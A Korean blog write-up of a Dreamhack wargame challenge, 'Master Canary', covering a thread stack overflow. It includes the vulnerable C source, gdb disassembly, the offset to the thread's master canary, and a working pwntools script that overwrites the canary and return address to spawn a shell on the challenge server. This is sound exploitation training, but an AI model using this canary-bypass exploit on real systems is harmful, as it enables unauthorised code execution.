Master Canary

2022. 8. 7. 17:43·Wargame/Dreamhack
728x90
반응형

1. intro

 

2. code & 분석

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_bytes (char *buf, int len) {
  int idx = 0;
  int read_len = 0;

  for (idx = 0; idx < len; idx++) {
    int ret;
    ret = read(0, buf+idx, 1);
    if (ret < 0) {
      return read_len; 
    }
    read_len ++;
  }

  return read_len;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  //read(0, buf, size);
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

 

2.1 분석 및 취약점 확인

main 함수에서 thread를 생성하는데, 생성 시 thread_routine 함수를 실행한다.

해당 함수 내에서는 size와 data를 buf 변수에 받아들이며, data를 받아들일때 read_bytes 함수를 실행하며 데이터를 받는다.

thread_routine 함수에서 size의 크기를 확인하지 않아 발생한다.

문제는 아래에서 보다시피 canary가 걸려 있으나

┌──(kali㉿kali)-[~/Downloads]
└─$ checksec mc_thread
[*] '/home/kali/Downloads/mc_thread'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 memory leak이 불가능하기에 프로그램 실행 중 canary 값을 얻는 것은 불가능하다.

다만, thread_routine 생성 시 buffer overflow가 발생하며, 만일 master canary의 위치까지 도달할 수 있다면 canary 값을 임의로 설정할 수 있을 것이다.

그렇다면 이를 통해 canary를 우회하고 thread_routine 함수의 return address를 변경할 수 있을 것이며, 코드 내에 giveshell 함수의 주소로 덮어씌워 셀을 실행시킬 수 있을 것이다.

 

2.2 데이터 수집

위의 공격 시나리오에 따라 master canary의 위치를 확인해보자.

buffer overflow는 thread_routine 함수 내에서 발생하기 때문에 해당 함수의 적절한 위치에서 break point를 설정하였다.

gef➤  disas thread_routine 
Dump of assembler code for function thread_routine:
   0x000000000040093f <+0>:     push   %rbp
   0x0000000000400940 <+1>:     mov    %rsp,%rbp
   0x0000000000400943 <+4>:     sub    $0x120,%rsp
   0x000000000040094a <+11>:    mov    %fs:0x28,%rax
   0x0000000000400953 <+20>:    mov    %rax,-0x8(%rbp)
   0x0000000000400957 <+24>:    xor    %eax,%eax
   0x0000000000400959 <+26>:    movl   $0x0,-0x114(%rbp)
   0x0000000000400963 <+36>:    lea    0x182(%rip),%rdi        # 0x400aec
   0x000000000040096a <+43>:    mov    $0x0,%eax
   0x000000000040096f <+48>:    call   0x400710 <printf@plt>
=> 0x0000000000400974 <+53>:    lea    -0x114(%rbp),%rax
   0x000000000040097b <+60>:    mov    %rax,%rsi
   0x000000000040097e <+63>:    lea    0x16e(%rip),%rdi        # 0x400af3
   0x0000000000400985 <+70>:    mov    $0x0,%eax
   0x000000000040098a <+75>:    call   0x400770 <__isoc99_scanf@plt>
   0x000000000040098f <+80>:    lea    0x160(%rip),%rdi        # 0x400af6
   0x0000000000400996 <+87>:    mov    $0x0,%eax
   0x000000000040099b <+92>:    call   0x400710 <printf@plt>
   0x00000000004009a0 <+97>:    mov    -0x114(%rbp),%edx
   0x00000000004009a6 <+103>:   lea    -0x110(%rbp),%rax
   0x00000000004009ad <+110>:   mov    %edx,%esi
   0x00000000004009af <+112>:   mov    %rax,%rdi
   0x00000000004009b2 <+115>:   call   0x4008d7 <read_bytes>
   0x00000000004009b7 <+120>:   nop
   0x00000000004009b8 <+121>:   mov    -0x8(%rbp),%rax
   0x00000000004009bc <+125>:   xor    %fs:0x28,%rax
   0x00000000004009c5 <+134>:   je     0x4009cc <thread_routine+141>
   0x00000000004009c7 <+136>:   call   0x400700 <__stack_chk_fail@plt>
   0x00000000004009cc <+141>:   leave  
   0x00000000004009cd <+142>:   ret    
End of assembler dump.
gef➤  b *thread_routine +20
Breakpoint 3 at 0x400953
gef➤  r
...
gef➤  x/g $fs_base+0x28
0x7ffff7db2668: 0xf4d1d822d4e01300

위에서 이미 본 것과 같이 buf 변수의 위치를 확인해보면 아래와 같다.

gef➤  disas thread_routine 
...
   0x00000000004009a0 <+97>:    mov    -0x114(%rbp),%edx
   0x00000000004009a6 <+103>:   lea    -0x110(%rbp),%rax
   0x00000000004009ad <+110>:   mov    %edx,%esi
   0x00000000004009af <+112>:   mov    %rax,%rdi
   0x00000000004009b2 <+115>:   call   0x4008d7 <read_bytes>
...

이제 두 값의 차이를 계산해보면 아래와 같다.

gef➤  x/g $fs_base+0x28
0x7ffff7db2668: 0xf4d1d822d4e01300
gef➤  x/g $rbp-0x110
0x7ffff7db1d40: 0x0000000000000000
gef➤  p 0x7ffff7db2668-0x7ffff7db1d40
$3 = 0x928

그러므로 페이로드는

dummy 0x110 byte + sfp 8 byte + giveshell address 8 byte + dummy (0x928 - 0x110 - 0x8 - 0x8) + master canary 0x 8 byte

가 될 것이다.

 

3. exploit

위에서 찾아낸 값을 기준으로 페이로드를 작성해보면 아래와 같다.

from pwn import *

p = remote('host3.dreamhack.games',12781)
#p = process('./mc_thread')
e = ELF('./mc_thread')

pay = b''
pay += b'A'*0x110 #buffer
pay += b'A'*0x8 #sfp
pay += p64(e.symbols['giveshell'])
pay += b'A'*(0x928 - len(pay))
pay += b'A'*0x8

size = len(pay)

p.sendlineafter(b'Size: ',str(size))
p.sendlineafter(b'Data',pay)

p.sendline(b'id')

p.interactive()

하지만, 본 페이로드는 로컬 환경에서는 작동되는데, 서버에서는 작동하지 않는다.

이에 임의로 master canary까지 도달할 수 있도록 길이를 조금 늘려보았더니 0x948 byte에서 성공하였다.

from pwn import *

p = remote('host3.dreamhack.games',12781)
#p = process('./mc_thread')
e = ELF('./mc_thread')

pay = b''
pay += b'A'*0x110 #buffer
pay += b'A'*0x8 #sfp
pay += p64(e.symbols['giveshell'])
pay += b'A'*(0x948 - len(pay))
pay += b'A'*0x8

size = len(pay)

p.sendlineafter(b'Size: ',str(size))
p.sendlineafter(b'Data',pay)

p.interactive()

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 12781: Done
[*] '/home/kali/Downloads/mc_thread'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/home/kali/Downloads/a.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b'Size: ',str(size))
[*] Switching to interactive mode
: uid=1000(mc_thread) gid=1000(mc_thread) groups=1000(mc_thread)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

Overwrite _rtld_global  (0) 2022.08.15
master_canary  (2) 2022.08.10
seccomp  (0) 2022.08.07
Bypass SECCOMP-1  (0) 2022.08.05
validator  (0) 2022.08.04
'Wargame/Dreamhack' 카테고리의 다른 글
  • Overwrite _rtld_global
  • master_canary
  • seccomp
  • Bypass SECCOMP-1
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (510) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (74) N
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (317) N
        • pwn.college (34)
        • Dreamhack (151) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44)
        • Solved (42)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    phoenix
    libc
    CANARY
    x86
    root
    pwnable.kr
    cryptohack
    pwntools
    FSB
    64bit
    dreamhack
    Buffer Overflow
    Format String Bug
    tcache
    docker
    la ctf
    exploit education
    rop
    Me
    RTL
    _IO_FILE
    lob
    ROOT ME
    BOF
    x64
    32bit
    heap
    hackerschool
    root-me
    vtable
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
Master Canary
상단으로

티스토리툴바